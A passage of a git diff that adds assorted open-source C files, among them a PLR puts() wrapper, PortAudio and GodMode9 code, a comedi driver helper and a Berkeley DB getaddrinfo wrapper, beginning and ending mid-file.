+		i = ndx;
+		if (++ndx >= INET_NTOP_CACHE_MAX) ndx = 0;
+		s =
+		inet_ntop(addr->plain.sa_family,
+			  addr->plain.sa_family == AF_INET6 ?
+			  (const void *) &(addr->ipv6.sin6_addr) :
+			  (const void *) &(addr->ipv4.sin_addr),
+			  inet_ntop_cache[i].b2, INET6_ADDRSTRLEN);
+		if (NULL == s) return "";
+
+		inet_ntop_cache[i].family = addr->plain.sa_family;
+
+		if (inet_ntop_cache[i].family == AF_INET) {
+			inet_ntop_cache[i].addr.ipv4.s_addr = addr->ipv4.sin_addr.s_addr;
+		} else if (inet_ntop_cache[i].family == AF_INET6) {
+			memcpy(inet_ntop_cache[i].addr.ipv6.s6_addr, addr->ipv6.sin6_addr.s6_addr, 16);
+		}
+	}
+
+	return inet_ntop_cache[i].b2;
+#else
+	UNUSED(srv);
+	return inet_ntoa(addr->ipv4.sin_addr);
+#endif
+}
diff --git a/pool/shard001/C/0022943_puts.c b/pool/shard001/C/0022943_puts.c
new file mode 100644
index 0000000000000000000000000000000000000000..aec3bbae14f5fa362dd59cf029b7ee555bb73b6c
--- /dev/null
+++ b/pool/shard001/C/0022943_puts.c
@@ -0,0 +1,115 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <string.h>
+#include "plr.h"
+#include "plrLog.h"
+#include "plrSharedData.h"
+#include "libc_func.h"
+#include "crc32_util.h"
+
+typedef struct {
+  int err;
+  int ret;
+  long offs;
+  int eof;
+  int ferr;
+} putsShmData_t;
+
+int puts(const char *s) {
+  // Get libc syscall function pointer & offset in image
+  libc_func(puts, int, const char *);
+    
+  if (plr_checkInsidePLR()) {
+    // If already inside PLR code, just call original syscall & return
+    return _puts(s);
+  } else {
+    plr_setInsidePLR();
+    plrlog(LOG_SYSCALL, "[%d:puts] Write '%s' to stdout\n", getpid(), s);
+    
+    syscallArgs_t args = {
+      .addr = _off_puts,
+      .arg[0] = crc32(0, s, strlen(s)),
+    };
+    plr_checkSyscallArgs(&args);
+    
+    // Nested function actually performed by master process only
+    int ret;
+    putsShmData_t shmDat;
+    int masterAct() {
+      // Call original libc function
+      ret = _puts(s);
+      
+      // Flush/sync data to disk to help other processes see it
+      fflush(stdout);
+      fsync(fileno(stdout));
+      
+      // Use ftell to get new file offset
+      shmDat.err = errno;
+      shmDat.ret = ret;
+      shmDat.offs = ftell(stdout);
+      shmDat.eof = feof(stdout);
+      shmDat.ferr = ferror(stdout);
+      
+      // Store return value in shared memory for slave processes
+      plr_copyToShm(&shmDat, sizeof(shmDat), 0);
+      
+      if (shmDat.ferr) {
+        // Not sure how to handle passing ferror's to slaves yet, no way 
+        // to manually set error state
+        plrlog(LOG_ERROR, "[%d:puts] ERROR: ferror (%d) occurred\n", getpid(), shmDat.ferr);
+        exit(1);
+      }
+      
+      return 0;
+    }
+    // All processes call plr_masterAction() to synchronize at this point
+    plr_masterAction(masterAct);
+    
+    if (!plr_isMasterProcess()) {
+      // Slaves copy return values from shared memory
+      plr_copyFromShm(&shmDat, sizeof(shmDat), 0);
+      
+      // Slaves seek to new fd offset
+      // Can't use SEEK_CUR and advance by ret because the slave processes
+      // may have been forked from each other after the fd was opened, in which
+      // case the fd & its offset are shared, and that would advance more than needed
+      fseek(stdout, shmDat.offs, SEEK_SET);
+      
+      // Necessary to manually reset EOF flag because fseek clears it
+      if (shmDat.eof) {
+        // fgetc at EOF to set feof indicator
+        int c;
+        if ((c = fgetc(stdout)) != EOF) {
+          const char *fmt = "[%d:puts] ERROR: fgetc to cause EOF actually got data (%c %d), ftell = %d, feof = %d\n";
+          plrlog(LOG_ERROR, fmt, getpid(), c, c, ftell(stdout), feof(stdout));
+          exit(1);
+        }
+      }
+      if (shmDat.ferr) {
+        plrlog(LOG_ERROR, "[%d:puts] ERROR: ferror (%d) from master\n", getpid(), shmDat.ferr);
+        exit(1);
+      }
+    }
+    
+    // TEMPORARY
+    // Slave processes sometimes end up with the wrong file offset, even after SEEK_SET
+    // Compare file state at exit to make sure everything is consistent
+    // Piggybacking off checkSyscallArgs mechanism to do this
+    syscallArgs_t exitState = {
+      .arg[0] = ftell(stdout),
+      .arg[1] = feof(stdout),
+      .arg[2] = ferror(stdout),
+    };
+    plr_checkSyscallArgs(&exitState);
+    
+    // All procs return same value & errno
+    ret = shmDat.ret;
+    errno = shmDat.err;
+    
+    plr_clearInsidePLR();
+    return ret;
+  }
+}
diff --git a/pool/shard001/C/0022944_appdomain.c b/pool/shard001/C/0022944_appdomain.c
new file mode 100644
index 0000000000000000000000000000000000000000..0fabc0b128c530715a41fe427c102bca3688211a
--- /dev/null
+++ b/pool/shard001/C/0022944_appdomain.c
@@ -0,0 +1,75 @@
+/* Copyright (C) 2014 - Sloan Crandell
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <appdomain.h>
+#include <hypervisor.h>
+#include <loader/vnb.h>
+#include <loader/methodLoader.h>
+
+static AppDomain* rootDomain;
+
+static AppDomain* getEndOfList() {
+	AppDomain* i = rootDomain;
+	while(i->nextDomain != NULL)
+		i = (AppDomain*)i->nextDomain;
+	return i;
+}
+
+void createAppDomain(uint32_t start, uint32_t size) {
+	if(rootDomain == NULL)
+	{
+		rootDomain = (AppDomain*)malloc(sizeof(AppDomain));
+		rootDomain->regionStart = start;
+		rootDomain->regionSize = size;
+		rootDomain->nativeMethodIndexStart = getNativeMethodCount();
+		rootDomain->methodIndexStart = getMethodCount();
+		rootDomain->nextDomain = NULL;
+	}
+	else
+	{
+		AppDomain* newd = (AppDomain*)malloc(sizeof(AppDomain));
+		newd->regionStart = start;
+		newd->regionSize = size;
+		newd->nativeMethodIndexStart = getNativeMethodCount();
+		newd->methodIndexStart = getMethodCount();
+		getEndOfList()->nextDomain = newd;
+	}
+}
+
+uint32_t getMethodOffset(uint32_t ip) {
+	AppDomain* i = rootDomain;
+	while(i != NULL)
+	{
+		if(i->regionStart <= ip && i->regionSize + i->regionStart > ip)
+			return i->methodIndexStart;
+		i = (AppDomain*)i->nextDomain;
+	}
+	return 0;
+}
+
+uint32_t getNativeMethodOffset(uint32_t ip) {
+	AppDomain* i = rootDomain;
+	while(i != NULL)
+	{
+		if(i->regionStart <= ip && i->regionSize + i->regionStart > ip)
+			return i->nativeMethodIndexStart;
+		i = (AppDomain*)i->nextDomain;
+	}
+	return 0;
+}
diff --git a/pool/shard001/C/0022950_patest_clip.c b/pool/shard001/C/0022950_patest_clip.c
new file mode 100644
index 0000000000000000000000000000000000000000..6e15f403aa7fe35fc0b8f889656cbbc1a6780bfd
--- /dev/null
+++ b/pool/shard001/C/0022950_patest_clip.c
@@ -0,0 +1,156 @@
+/*
+ * $Id: patest_clip.c,v 1.1.1.1 2002/01/22 00:52:34 phil Exp $
+ * patest_clip.c
+ * Play a sine wave using the Portable Audio api for several seconds
+ * at an amplitude that would require clipping.
+ *
+ * Author: Phil Burk  http://www.softsynth.com
+ *
+ * This program uses the PortAudio Portable Audio Library.
+ * For more information see: http://www.portaudio.com
+ * Copyright (c) 1999-2000 Ross Bencina and Phil Burk
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files
+ * (the "Software"), to deal in the Software without restriction,
+ * including without limitation the rights to use, copy, modify, merge,
+ * publish, distribute, sublicense, and/or sell copies of the Software,
+ * and to permit persons to whom the Software is furnished to do so,
+ * subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ *
+ * Any person wishing to distribute modifications to the Software is
+ * requested to send the modifications to the original developer so that
+ * they can be incorporated into the canonical version.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
+ * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
+ * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ */
+#include <stdio.h>
+#include <math.h>
+#include "portaudio.h"
+#define NUM_SECONDS   (4)
+#define SAMPLE_RATE   (44100)
+#ifndef M_PI
+#define M_PI  (3.14159265)
+#endif
+#define TABLE_SIZE   (200)
+typedef struct paTestData
+{
+    float sine[TABLE_SIZE];
+    float amplitude;
+    int left_phase;
+    int right_phase;
+}
+paTestData;
+PaError PlaySine( paTestData *data, unsigned long flags, float amplitude );
+/* This routine will be called by the PortAudio engine when audio is needed.
+** It may called at interrupt level on some machines so don't do anything
+** that could mess up the system like calling malloc() or free().
+*/
+static int sineCallback( void *inputBuffer, void *outputBuffer,
+                         unsigned long framesPerBuffer,
+                         PaTimestamp outTime, void *userData )
+{
+    paTestData *data = (paTestData*)userData;
+    float *out = (float*)outputBuffer;
+    float amplitude = data->amplitude;
+    unsigned int i;
+    (void) inputBuffer; /* Prevent "unused variable" warnings. */
+    (void) outTime;
+
+    for( i=0; i<framesPerBuffer; i++ )
+    {
+        *out++ = amplitude * data->sine[data->left_phase];  /* left */
+        *out++ = amplitude * data->sine[data->right_phase];  /* right */
+        data->left_phase += 1;
+        if( data->left_phase >= TABLE_SIZE ) data->left_phase -= TABLE_SIZE;
+        data->right_phase += 3; /* higher pitch so we can distinguish left and right. */
+        if( data->right_phase >= TABLE_SIZE ) data->right_phase -= TABLE_SIZE;
+    }
+    return 0;
+}
+/*******************************************************************/
+int main(void);
+int main(void)
+{
+    PaError err;
+    paTestData DATA;
+    int i;
+    printf("PortAudio Test: output sine wave with and without clipping.\n");
+    /* initialise sinusoidal wavetable */
+    for( i=0; i<TABLE_SIZE; i++ )
+    {
+        DATA.sine[i] = (float) sin( ((double)i/(double)TABLE_SIZE) * M_PI * 2. );
+    }
+    printf("\nHalf amplitude. Should sound like sine wave.\n"); fflush(stdout);
+    err = PlaySine( &DATA, paClipOff | paDitherOff, 0.5f );
+    if( err < 0 ) goto error;
+    printf("\nFull amplitude. Should sound like sine wave.\n"); fflush(stdout);
+    err = PlaySine( &DATA, paClipOff | paDitherOff, 0.999f );
+    if( err < 0 ) goto error;
+    printf("\nOver range with clipping and dithering turned OFF. Should sound very nasty.\n");
+    fflush(stdout);
+    err = PlaySine( &DATA, paClipOff | paDitherOff, 1.1f );
+    if( err < 0 ) goto error;
+    printf("\nOver range with clipping and dithering turned ON.  Should sound smoother than previous.\n");
+    fflush(stdout);
+    err = PlaySine( &DATA, paNoFlag, 1.1f );
+    if( err < 0 ) goto error;
+    printf("\nOver range with paClipOff but dithering ON.\n"
+           "That forces clipping ON so it should sound the same as previous.\n");
+    fflush(stdout);
+    err = PlaySine( &DATA, paClipOff, 1.1f );
+    if( err < 0 ) goto error;
+    return 0;
+error:
+    fprintf( stderr, "An error occured while using the portaudio stream\n" );
+    fprintf( stderr, "Error number: %d\n", err );
+    fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) );
+    return 1;
+}
+/*****************************************************************************/
+PaError PlaySine( paTestData *data, unsigned long flags, float amplitude )
+{
+    PortAudioStream *stream;
+    PaError err;
+    data->left_phase = data->right_phase = 0;
+    data->amplitude = amplitude;
+    err = Pa_Initialize();
+    if( err != paNoError ) goto error;
+    err = Pa_OpenStream(
+              &stream,
+              paNoDevice,/* default input device */
+              0,              /* no input */
+              paFloat32,  /* 32 bit floating point input */
+              NULL,
+              Pa_GetDefaultOutputDeviceID(), /* default output device */
+              2,              /* stereo output */
+              paFloat32,      /* 32 bit floating point output */
+              NULL,
+              SAMPLE_RATE,
+              1024,
+              0,              /* number of buffers, if zero then use default minimum */
+              flags,      /* we won't output out of range samples so don't bother clipping them */
+              sineCallback,
+              data );
+    if( err != paNoError ) goto error;
+    err = Pa_StartStream( stream );
+    if( err != paNoError ) goto error;
+    Pa_Sleep( NUM_SECONDS * 1000 );
+    printf("CPULoad = %8.6f\n", Pa_GetCPULoad( stream ) );
+    err = Pa_CloseStream( stream );
+    if( err != paNoError ) goto error;
+    Pa_Terminate();
+    return paNoError;
+error:
+    return err;
+}
diff --git a/pool/shard001/C/0022953_mcu.c b/pool/shard001/C/0022953_mcu.c
new file mode 100644
index 0000000000000000000000000000000000000000..3b095806781751e32fee4963e275feeabee22e5f
--- /dev/null
+++ b/pool/shard001/C/0022953_mcu.c
@@ -0,0 +1,211 @@
+/*
+ *   This file is part of GodMode9
+ *   Copyright (C) 2019 Wolfvak
+ *
+ *   This program is free software: you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation, either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *   GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <hid_map.h>
+#include <types.h>
+#include <arm.h>
+
+#include "arm/timer.h"
+
+#include "hw/gpio.h"
+#include "hw/gpulcd.h"
+#include "hw/mcu.h"
+
+enum {
+	MCU_PWR_BTN = 0,
+	MCU_PWR_HOLD = 1,
+	MCU_HOME_BTN = 2,
+	MCU_HOME_LIFT = 3,
+	MCU_WIFI_SWITCH = 4,
+	MCU_SHELL_CLOSE = 5,
+	MCU_SHELL_OPEN = 6,
+	MCU_VOL_SLIDER = 22,
+};
+
+enum {
+	REG_VOL_SLIDER = 0x09,
+
+	REG_BATTERY_LEVEL = 0x0B,
+	REG_CONSOLE_STATE = 0x0F,
+
+	REG_INT_MASK = 0x10,
+	REG_INT_EN = 0x18,
+
+	REG_LCD_STATE = 0x22,
+
+	REG_LED_WIFI = 0x2A,
+	REG_LED_CAMERA = 0x2B,
+	REG_LED_SLIDER = 0x2C,
+	REG_LED_NOTIF = 0x2D,
+
+	REG_RTC = 0x30,
+};
+
+typedef struct {
+	u8 delay;
+	u8 smoothing;
+	u8 loop_delay;
+	u8 unk;
+	u32 red[8];
+	u32 green[8];
+	u32 blue[8];
+} PACKED_STRUCT MCU_NotificationLED;
+
+static u8 cached_volume_slider = 0;
+static u32 spec_hid = 0, shell_state = SHELL_OPEN;
+
+static void MCU_UpdateVolumeSlider(void)
+{
+	cached_volume_slider = MCU_ReadReg(REG_VOL_SLIDER);
+}
+
+static void MCU_UpdateShellState(bool open)
+{
+	shell_state = open ? SHELL_OPEN : SHELL_CLOSED;
+}
+
+u8 MCU_GetVolumeSlider(void)
+{
+	return cached_volume_slider;
+}
+
+u32 MCU_GetSpecialHID(void)
+{
+	u32 ret = spec_hid | shell_state;
+	spec_hid = 0;
+	return ret;
+}
+
+void MCU_SetNotificationLED(u32 period_ms, u32 color)
+{
+	u32 r, g, b;
+	MCU_NotificationLED led_state;
+
+	// handle proper non-zero periods
+	// so small the hardware can't handle it
+	if (period_ms != 0 && period_ms < 63)
+		period_ms = 63;
+
+	led_state.delay = (period_ms * 0x10) / 1000;
+	led_state.smoothing = 0x40;
+	led_state.loop_delay = 0x10;
+	led_state.unk = 0;
+
+	// all colors look like 0x00ZZ00ZZ
+	// in order to alternate between
+	// LED "off" and the wanted color
+	r = (color >> 16) & 0xFF;
+	r |= r << 16;
+	for (int i = 0; i < 8; i++)
+		led_state.red[i] = r;
+
+	g = (color >> 8) & 0xFF;
+	g |= g << 16;
+	for (int i = 0; i < 8; i++)
+		led_state.green[i] = g;
+
+	b = color & 0xFF;
+	b |= b << 16;
+	for (int i = 0; i < 8; i++)
+		led_state.blue[i] = b;
+
+	MCU_WriteRegBuf(REG_LED_NOTIF, (const u8*)&led_state, sizeof(led_state));
+}
+
+void MCU_ResetLED(void)
+{
+	MCU_WriteReg(REG_LED_WIFI, 0);
+	MCU_WriteReg(REG_LED_CAMERA, 0);
+	MCU_WriteReg(REG_LED_SLIDER, 0);
+	MCU_SetNotificationLED(0, 0);
+}
+
+void MCU_PushToLCD(bool enable)
+{
+	MCU_WriteReg(REG_LCD_STATE, enable ? 0x2A : 0x01);
+}
+
+void MCU_HandleInterrupts(u32 __attribute__((unused)) irqn)
+{
+	u32 ints;
+
+	// Reading the pending mask automagically acknowledges
+	// the interrupts so all of them must be processed in one go
+	MCU_ReadRegBuf(REG_INT_MASK, (u8*)&ints, sizeof(ints));
+
+	while(ints != 0) {
+		u32 mcu_int_id = 31 - __builtin_clz(ints);
+
+		switch(mcu_int_id) {
+			case MCU_PWR_BTN:
+			case MCU_PWR_HOLD:
+				spec_hid |= BUTTON_POWER;
+				break;
+
+			case MCU_HOME_BTN:
+				spec_hid |= BUTTON_HOME;
+				break;
+
+			case MCU_HOME_LIFT:
+				spec_hid &= ~BUTTON_HOME;
+				break;
+
+			case MCU_WIFI_SWITCH:
+				spec_hid |= BUTTON_WIFI;
+				break;
+
+			case MCU_SHELL_OPEN:
+				MCU_PushToLCD(true);
+				MCU_UpdateShellState(true);
+				TIMER_WaitTicks(CLK_MS_TO_TICKS(5));
+				MCU_ResetLED();
+				break;
+
+			case MCU_SHELL_CLOSE:
+				MCU_PushToLCD(false);
+				MCU_UpdateShellState(false);
+				TIMER_WaitTicks(CLK_MS_TO_TICKS(5));
+				break;
+
+			case MCU_VOL_SLIDER:
+				MCU_UpdateVolumeSlider();
+				break;
+
+			default:
+				break;
+		}
+
+		ints &= ~BIT(mcu_int_id);
+	}
+}
+
+void MCU_Init(void)
+{
+	u32 clrpend, mask = 0xFFBF0800;
+
+	/* set register mask and clear any pending registers */
+	MCU_WriteRegBuf(REG_INT_EN, (const u8*)&mask, sizeof(mask));
+	MCU_ReadRegBuf(REG_INT_MASK, (u8*)&clrpend, sizeof(clrpend));
+
+	MCU_ResetLED();
+
+	MCU_UpdateVolumeSlider();
+	MCU_UpdateShellState(MCU_ReadReg(REG_CONSOLE_STATE) & BIT(1));
+
+	GPIO_setBit(19, 9);
+}
diff --git a/pool/shard001/C/0022965_Sfx.c b/pool/shard001/C/0022965_Sfx.c
new file mode 100644
index 0000000000000000000000000000000000000000..dff125eea17661ed024fc9c3c90bb435ac25b8a2
--- /dev/null
+++ b/pool/shard001/C/0022965_Sfx.c
@@ -0,0 +1,141 @@
+/* *************************************
+ * 	Includes
+ * *************************************/
+#include "Sfx.h"
+
+/* *************************************
+ * 	Defines
+ * *************************************/
+#define MAX_VOLUME SPU_MAXVOL
+#define NUMBER_OF_VOICES 24
+
+/* *************************************
+ * 	Local Prototypes
+ * *************************************/
+
+/* *************************************
+ * 	Local Variables
+ * *************************************/
+static uint16_t SfxGlobalVolumeReduction;
+static bool usedVoices[NUMBER_OF_VOICES];
+
+#ifndef NO_CDDA
+static uint16_t SfxCddaVolumeReduction;
+#endif // NO_CDDA
+
+void SfxPlaySound(SsVag* sound)
+{
+    if (sound->data_size != 0)
+    {
+        SsPlayVag(sound, sound->cur_voice, MAX_VOLUME - SfxGlobalVolumeReduction, MAX_VOLUME - SfxGlobalVolumeReduction);
+    }
+}
+
+bool SfxUploadSound_Ex(const char* file_path, SsVag* vag, uint8_t voiceIndex)
+{
+#ifdef PSXSDK_DEBUG
+	static size_t SPUBytesUsed;
+#endif // PSXSDK_DEBUG
+
+	if (voiceIndex >= NUMBER_OF_VOICES)
+	{
+		Serial_printf(	"Invalid input voice index %d. Only indexes [%d-%d] are allowed.\n",
+						voiceIndex,
+						0,
+						NUMBER_OF_VOICES - 1	);
+		return false;
+	}
+
+	if (usedVoices[voiceIndex])
+	{
+		Serial_printf("Voice number %d is already being used.\n", voiceIndex);
+		return false;
+	}
+
+	if (SystemLoadFile(file_path) == false)
+	{
+		return false;
+	}
+
+	SsReadVag(vag, SystemGetBufferAddress());
+
+	SsUploadVag(vag);
+
+	vag->cur_voice = voiceIndex;
+
+	usedVoices[voiceIndex] = true;
+
+#ifdef PSXSDK_DEBUG
+
+	SPUBytesUsed += vag->data_size;
+
+	if (SPUBytesUsed != 0)
+	{
+		enum
+		{
+			SPU_MAX_ALLOWED_BYTES = 512 * 1024 // 512 KBytes
+		};
+
+		uint16_t percentage = SPUBytesUsed * 100 / SPU_MAX_ALLOWED_BYTES;
+
+		Serial_printf("SPU usage: %d%%\n", percentage);
+	}
+
+#endif // PSXSDK_DEBUG
+
+	return true;
+}
+
+bool SfxUploadSound(const char* file_path, SsVag* vag)
+{
+	bool success = false;
+	uint8_t i;
+
+    for (i = 0; i < NUMBER_OF_VOICES; i++)
+    {
+		if (usedVoices[i] == false)
+		{
+			success = true;
+			break;
+		}
+	}
+
+	if (success == false)
+	{
+		Serial_printf("Could not find any free SPU slot.\n");
+		return false;
+	}
+
+	return SfxUploadSound_Ex(file_path, vag, i);
+}
+
+void SfxPlayTrack(MUSIC_TRACKS track)
+{
+#ifndef NO_CDDA
+	enum
+	{
+		CD_MAX_VOLUME = (uint16_t)0x7FFF
+	};
+
+	SsCdVol(CD_MAX_VOLUME - SfxCddaVolumeReduction,
+			CD_MAX_VOLUME - SfxCddaVolumeReduction);
+	SsEnableCd();
+	CdPlayTrack(track);
+	Serial_printf("Track number %d playing...\n",track);
+#endif // NO_CDDA
+}
+
+void SfxStopMusic(void)
+{
+#ifndef NO_CDDA
+	uint16_t CDVol = 0x7FFF;
+
+	while (CDVol > 0x003F)
+	{
+		CDVol >>= 1;
+		SsCdVol(CDVol, CDVol);
+	}
+
+	CdSendCommand(CdlMute,0);
+#endif // NO_CDDA
+}
diff --git a/pool/shard001/C/0022984_comedi_fc.c b/pool/shard001/C/0022984_comedi_fc.c
new file mode 100644
index 0000000000000000000000000000000000000000..8ab8e733afb6ba731b0644d817aee01479d15250
--- /dev/null
+++ b/pool/shard001/C/0022984_comedi_fc.c
@@ -0,0 +1,118 @@
+/*
+    comedi/drivers/comedi_fc.c
+
+    This is a place for code driver writers wish to share between
+    two or more drivers.  fc is short
+    for frank-common.
+
+    Author:  Frank Mori Hess <fmhess@users.sourceforge.net>
+    Copyright (C) 2002 Frank Mori Hess
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+************************************************************************/
+
+#include "../comedidev.h"
+
+#include "comedi_fc.h"
+
+static void increment_scan_progress(struct comedi_subdevice *subd,
+				    unsigned int num_bytes)
+{
+	struct comedi_async *async = subd->async;
+	unsigned int scan_length = cfc_bytes_per_scan(subd);
+
+	async->scan_progress += num_bytes;
+	if (async->scan_progress >= scan_length) {
+		async->scan_progress %= scan_length;
+		async->events |= COMEDI_CB_EOS;
+	}
+}
+
+/* Writes an array of data points to comedi's buffer */
+unsigned int cfc_write_array_to_buffer(struct comedi_subdevice *subd, void *data,
+				       unsigned int num_bytes)
+{
+	struct comedi_async *async = subd->async;
+	unsigned int retval;
+
+	if (num_bytes == 0)
+		return 0;
+
+	retval = comedi_buf_write_alloc(async, num_bytes);
+	if (retval != num_bytes) {
+		printk("comedi: buffer overrun\n");
+		async->events |= COMEDI_CB_OVERFLOW;
+		return 0;
+	}
+
+	comedi_buf_memcpy_to(async, 0, data, num_bytes);
+	comedi_buf_write_free(async, num_bytes);
+	increment_scan_progress(subd, num_bytes);
+	async->events |= COMEDI_CB_BLOCK;
+
+	return num_bytes;
+}
+EXPORT_SYMBOL(cfc_write_array_to_buffer);
+
+unsigned int cfc_read_array_from_buffer(struct comedi_subdevice *subd, void *data,
+					unsigned int num_bytes)
+{
+	struct comedi_async *async = subd->async;
+
+	if (num_bytes == 0)
+		return 0;
+
+	num_bytes = comedi_buf_read_alloc(async, num_bytes);
+	comedi_buf_memcpy_from(async, 0, data, num_bytes);
+	comedi_buf_read_free(async, num_bytes);
+	increment_scan_progress(subd, num_bytes);
+	async->events |= COMEDI_CB_BLOCK;
+
+	return num_bytes;
+}
+EXPORT_SYMBOL(cfc_read_array_from_buffer);
+
+unsigned int cfc_handle_events(struct comedi_device *dev, struct comedi_subdevice *subd)
+{
+	unsigned int events = subd->async->events;
+
+	if (events == 0)
+		return events;
+
+	if (events & (COMEDI_CB_EOA | COMEDI_CB_ERROR | COMEDI_CB_OVERFLOW))
+		subd->cancel(dev, subd);
+
+	comedi_event(dev, subd);
+
+	return events;
+}
+EXPORT_SYMBOL(cfc_handle_events);
+
+MODULE_AUTHOR("Frank Mori Hess <fmhess@users.sourceforge.net>");
+MODULE_DESCRIPTION("Shared functions for Comedi low-level drivers");
+MODULE_LICENSE("GPL");
+
+static int __init comedi_fc_init_module(void)
+{
+	return 0;
+}
+
+static void __exit comedi_fc_cleanup_module(void)
+{
+}
+
+module_init(comedi_fc_init_module);
+module_exit(comedi_fc_cleanup_module);
diff --git a/pool/shard001/C/0023000_getaddrinfo.c b/pool/shard001/C/0023000_getaddrinfo.c
new file mode 100644
index 0000000000000000000000000000000000000000..c2d5ba2e9a9baa0504e697446c2e6fd4bc824eae
--- /dev/null
+++ b/pool/shard001/C/0023000_getaddrinfo.c
@@ -0,0 +1,176 @@
+/*-
+ * See the file LICENSE for redistribution information.
+ *
+ * Copyright (c) 2006,2007 Oracle.  All rights reserved.
+ *
+ * $Id: getaddrinfo.c,v 1.8 2007/05/17 15:14:54 bostic Exp $
+ */
+
+#include "db_config.h"
+
+#define	__INCLUDE_NETWORKING	1
+#include "db_int.h"
+
+/*
+ * __db_getaddrinfo and __db_freeaddrinfo wrap the getaddrinfo and freeaddrinfo
+ * calls, as well as the associated platform dependent error handling, mapping
+ * the error return to a ANSI C/POSIX error return.
+ */
+
+/*
+ * __db_getaddrinfo --
+ *
+ * PUBLIC: #if defined(HAVE_REPLICATION_THREADS)
+ * PUBLIC: int __db_getaddrinfo __P((DB_ENV *, const char *, u_int,
+ * PUBLIC:    const char *, const ADDRINFO *, ADDRINFO **));
+ * PUBLIC: #endif
+ */
+int
+__db_getaddrinfo(dbenv, nodename, port, servname, hints, res)
+	DB_ENV *dbenv;
+	const char *nodename, *servname;
+	u_int port;
+	const ADDRINFO *hints;
+	ADDRINFO **res;
+{
+#ifdef HAVE_GETADDRINFO
+	int ret;
+
+	if ((ret = getaddrinfo(nodename, servname, hints, res)) == 0)
+		return (0);
+
+	__db_errx(dbenv, "%s(%u): host lookup failed: %s",
+	    nodename == NULL ? "" : nodename, port,
+#ifdef DB_WIN32
+	    gai_strerrorA(ret));
+#else
+	    gai_strerror(ret));
+#endif
+	return (__os_posix_err(ret));
+#else
+	ADDRINFO *answer;
+	struct hostent *hostaddr;
+	struct sockaddr_in sin;
+	u_int32_t tmpaddr;
+	int ret;
+
+	COMPQUIET(hints, NULL);
+	COMPQUIET(servname, NULL);
+
+	/* INADDR_NONE is not defined on Solaris 2.6, 2.7 or 2.8. */
+#ifndef	INADDR_NONE
+#define	INADDR_NONE	((u_long)0xffffffff)
+#endif
+
+	/*
+	 * Basic implementation of IPv4 component of getaddrinfo.
+	 * Limited to the functionality used by repmgr.
+	 */
+	memset(&sin, 0, sizeof(sin));
+	sin.sin_family = AF_INET;
+	if (nodename) {
+		if (nodename[0] == '\0')
+			sin.sin_addr.s_addr = htonl(INADDR_ANY);
+		else if ((tmpaddr = inet_addr(nodename)) != INADDR_NONE) {
+			sin.sin_addr.s_addr = tmpaddr;
+		} else {
+			hostaddr = gethostbyname(nodename);
+			if (hostaddr == NULL) {
+#ifdef DB_WIN32
+				ret = __os_get_neterr();
+				__db_syserr(dbenv, ret,
+				    "%s(%u): host lookup failed",
+				    nodename == NULL ? "" : nodename, port);
+				return (__os_posix_err(ret));
+#else
+				/*
+				 * Historic UNIX systems used the h_errno
+				 * global variable to return gethostbyname
+				 * errors.  The only function we currently
+				 * use that needs h_errno is gethostbyname,
+				 * so we deal with it here.
+				 *
+				 * hstrerror is not available on Solaris 2.6
+				 * (it is in libresolv but is a private,
+				 * unexported symbol).
+				 */
+#ifdef HAVE_HSTRERROR
+				__db_errx(dbenv,
+				    "%s(%u): host lookup failed: %s",
+				    nodename == NULL ? "" : nodename, port,
+				    hstrerror(h_errno));
+#else
+				__db_errx(dbenv,
+				    "%s(%u): host lookup failed: %d",
+				    nodename == NULL ? "" : nodename, port,
+				    h_errno);
+#endif
+				switch (h_errno) {
+				case HOST_NOT_FOUND:
+				case NO_DATA:
+					return (EHOSTUNREACH);
+				case TRY_AGAIN:
+					return (EAGAIN);
+				case NO_RECOVERY:
+				default:
+					return (EFAULT);
+				}
+				/* NOTREACHED */
+#endif
+			}
+			memcpy(&(sin.sin_addr),
+			    hostaddr->h_addr, (size_t)hostaddr->h_length);
+		}
+	} else					/* No host specified. */
